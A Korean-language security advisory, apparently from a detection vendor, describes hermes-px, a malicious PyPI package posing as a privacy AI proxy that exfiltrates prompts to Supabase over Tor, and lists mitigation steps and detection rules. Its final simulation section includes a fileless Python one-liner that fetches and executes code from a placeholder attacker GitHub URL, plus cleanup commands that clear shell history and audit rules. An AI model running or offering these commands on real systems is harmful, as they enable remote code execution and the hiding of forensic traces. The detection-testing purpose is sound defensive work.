hermes-px: 개인 정보 프록시로 위장한 명령어 유출 및 Claude 코드 변경
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
JFrog 보안 연구팀은 hermes-px라는 악성 PyPI 패키지를 식별했는데, 이는 프라이버시 우선 AI 추론 프록시로 위장하고 있습니다. 사용자 보호 대신 Tor를 통해 트래픽을 무단으로 대학 서버에 호스팅된 AI 엔드포인트로 라우팅하고, 시스템 메시지를 교환하거나 다시 작성하며, 프롬프트와 모델의 응답을 Supabase 백엔드로 침출합니다. 그 패키지는 또한 도난당하고 재브랜딩된 Anthropic Claude 시스템 프롬프트를 포함시켜 기만을 강화합니다. hermes-px는 공개 PyPI를 통해 배포되어 표준 pip 워크플로우를 통해 설치 가능하며, 개발자 환경으로 쉽게 불러올 수 있습니다.
조사
연구원들은 소스를 검토하였고, 민감한 문자열을 숨기기 위해 사용되는 세 가지 암호화 레이어와 함께, Supabase API 키가 하드 코딩되어 있으며, 공용 인터넷을 통해 데이터를 직접 전송하는 Telemetry 컴포넌트를 발견했습니다. 복호화된 업스트림 엔드포인트는 Azure WAF에 의해 보호된 사립대학 API로 해석되며, 이는 공개 프록시 용도로 의도되지 않은 인프라의 악용을 시사합니다. 프로젝트 문서는 사용자가 GitHub URL에서 추가 코드를 가져와 실행하도록 유도하여 패키지 자체 이상의 위험을 제공합니다. hermes-px는 OpenAI Python SDK 인터페이스를 모방하여 일반적인 개발 패턴에 녹아들어 통합 시 의심을 줄입니다.
완화
모든 환경에서 hermes-px를 제거하고 재설치를 방지하기 위해 종속성 소스를 잠급니다. 프롬프트, 구성 또는 로그에서 노출되었을 가능성이 있는 자격 증명을 회전시키고, Supabase 침출 도메인과 식별된 악성 URL에 대한 접근을 차단합니다. 이 도구를 지원하기 위해 Tor가 설치되었다면, 그것을 제거하고 관련 네트워크 제어를 검토합니다. 프롬프트가 민감한 데이터를 포함할 수 있음을 가정하고, 캡처된 콘텐츠를 비밀, 토큰 또는 규제 정보를 확인합니다.
대응
패키지 목록과 개발자 워크스테이션 기준선을 사용하여 hermes-px 설치를 추적하고, supabase.co로의 아웃바운드 연결 및 식별된 대학 API 엔드포인트에 대해 알림을 발령합니다. 영향을 받은 호스트를 격리하고 관련 아티팩트(패키지 파일, 터미널 기록, 종속성 잠금 파일)를 보존하며, 어떤 프롬프트와 응답이 전송되었는지에 따라 노출 범위를 파악합니다. 영향을 받은 사용자와, 해당되는 경우 영향 받은 기관을 통보하고, SDK 모방, Tor-중계 프록시 행동, Python 패키지에서의 의심스러운 텔레메트리 모듈을 플래그하기 위해 검출을 업데이트합니다.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>기법</b> – <b>T1204 사용자 실행</b><br/>피해자가 악성 명령 실행 (예: pip install hermes-px)<br/><b>설명</b>: 사용자를 설득하여 악성 코드를 실행합니다."] class tech_user_exec technique tech_supply_chain["<b>기법</b> – <b>T1195.002 소프트웨어 공급 체인 손상</b><br/>종속성 체인을 납치하기 위해 발행된 악성 PyPI 패키지<br/><b>설명</b>: 공격자가 소프트웨어 공급 체인에 악성 코드를 주입합니다."] class tech_supply_chain technique tech_python["<b>기법</b> – <b>T1059.006 Python</b><br/>설치 후 실행된 악성 Python 코드<br/><b>설명</b>: 명령을 실행하기 위해 Python 인터프리터 사용."] class tech_python technique tech_proxy_ext["<b>기법</b> – <b>T1090.002 외부 프록시</b><br/>Tor 종료 노드로 트래픽 라우팅<br/><b>설명</b>: 네트워크 트래픽의 출처를 숨기기 위해 외부 프록시 서비스 사용."] class tech_proxy_ext technique tech_proxy_multi["<b>기법</b> – <b>T1090.003 다중 홉 프록시</b><br/>익명성을 위한 다중 Tor 홉<br/><b>설명</b>: 트래픽 소스를 더욱 숨기기 위해 여러 프록시 연결."] class tech_proxy_multi technique tech_web_proto["<b>기법</b> – <b>T1071.001 웹 프로토콜</b><br/>사립대학 AI API로 HTTP 요청<br/><b>설명</b>: 지휘 및 제어 통신을 위한 웹 프로토콜 사용."] class tech_web_proto technique tech_obfuscation["<b>기법</b> – <b>T1027 난독화된 파일 또는 정보</b><br/>런타임에 디코딩된 암호화된 문자열<br/><b>설명</b>: 암호화 또는 인코딩을 사용하여 악성 코드를 숨깁니다."] class tech_obfuscation technique tech_dynamic_api["<b>기법</b> – <b>T1027.007 동적 API 해상도</b><br/>실행 시간에 API 주소 동적 해상도<br/><b>설명</b>: 정적 검출을 피하기 위해 런타임에 API 확인 및 호출."] class tech_dynamic_api technique tech_exfil["<b>기법</b> – <b>T1567 웹 서비스 경유 침출</b><br/>공격자 Supabase 엔드포인트로 데이터 전송<br/><b>설명</b>: 적이 제어하는 외부 웹 서비스로의 데이터 전송."] class tech_exfil technique tech_subvert_trust["<b>기법</b> – <b>T1553 신뢰 제어 교란</b><br/>가짜 조직과 잘 꾸며진 문서를 사용하여 희생자를 유인<br/><b>설명</b>: 타협을 촉진하기 위해 신뢰 관계를 조작."] class tech_subvert_trust technique %% 흐름 연결 tech_user_exec –>|실행| tech_supply_chain tech_supply_chain –>|전달| tech_python tech_python –>|사용| tech_proxy_ext tech_proxy_ext –>|연결 체인| tech_proxy_multi tech_proxy_multi –>|통신 경유| tech_web_proto tech_web_proto –>|사용| tech_obfuscation tech_web_proto –>|사용| tech_dynamic_api tech_obfuscation –>|활성화| tech_exfil tech_dynamic_api –>|활성화| tech_exfil tech_python –>|활성화| tech_subvert_trust "
공격 흐름
탐지
타사 서비스/도구(via proxy)를 통한 데이터 침투/침출/C2 가능성
보기
타사 서비스/도구(via dns)를 통한 데이터 침투/침출/C2 가능성
보기
비정상 프로세스에 의해 시작된 GitHub 파일 다운로드 가능성(via network_connection)
보기
탐지 가능한 IOC(HashSha1): hermes-px: 프롬프트를 훔치는 ‘프라이버시’ AI 프록시, 변경된 Claude 코드 시스템 프롬프트 포함
보기
AI 추론을 위한 악성 API 엔드포인트 탈취 [웹 서버]
보기
GitHub에서의 의심스러운 Python 스크립트 실행 [Linux 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: Telemetry 및 Baseline 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 고안된 공격자 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에서 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예제는 오진을 유발할 수 있습니다.
-
공격 내러티브 및 명령:
공격자는 공용 GitHub 리포지토리에 호스팅된 악성 Python 페이로드를 획득했습니다. 디스크에 파일을 작성하지 않고 (포렌식 발자국을 줄이는) 다음의 단일 라인 Python 명령을 사용합니다:- 호출
urllib.request.urlopen()GitHub에서 원시 스크립트 콘텐츠를 다운로드합니다. - 응답을 읽고 바이트를
exec()에 전달하여 즉시 실행합니다. - 공격자가 이미 저레벨 권한 셸을 소유한 손상된 Linux 호스트에서 명령을 실행합니다.
이 동일 패턴은 (
python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") 탐지 규칙의 문자열 기준과 일치합니다. - 호출
-
회귀 테스트 스크립트:
#!/bin/bash # # Sigma 규칙을 트리거해야 하는 악성 Python 실행을 시뮬레이트합니다. # MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py" python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"이 스크립트를 다음으로 저장합니다
trigger_detection.sh, 실행 가능하도록 만듭니다 (chmod +x trigger_detection.sh), 그리고 대상 호스트에서 실행합니다. -
정리 명령:
# 지속적인 아티팩트는 생성되지 않지만, 터미널을 깨끗하게 유지합니다. history -c # 현재 세션의 명령 기록 지우기 sudo auditctl -D # (옵션) 테스트를 위해 추가한 경우 모든 런타임 감사 규칙 제거 # /etc/audit/rules.d/에 지속적인 규칙을 추가한 경우, 이를 제거하는 것을 고려합니다: # sudo rm /etc/audit/rules.d/process_creation.rules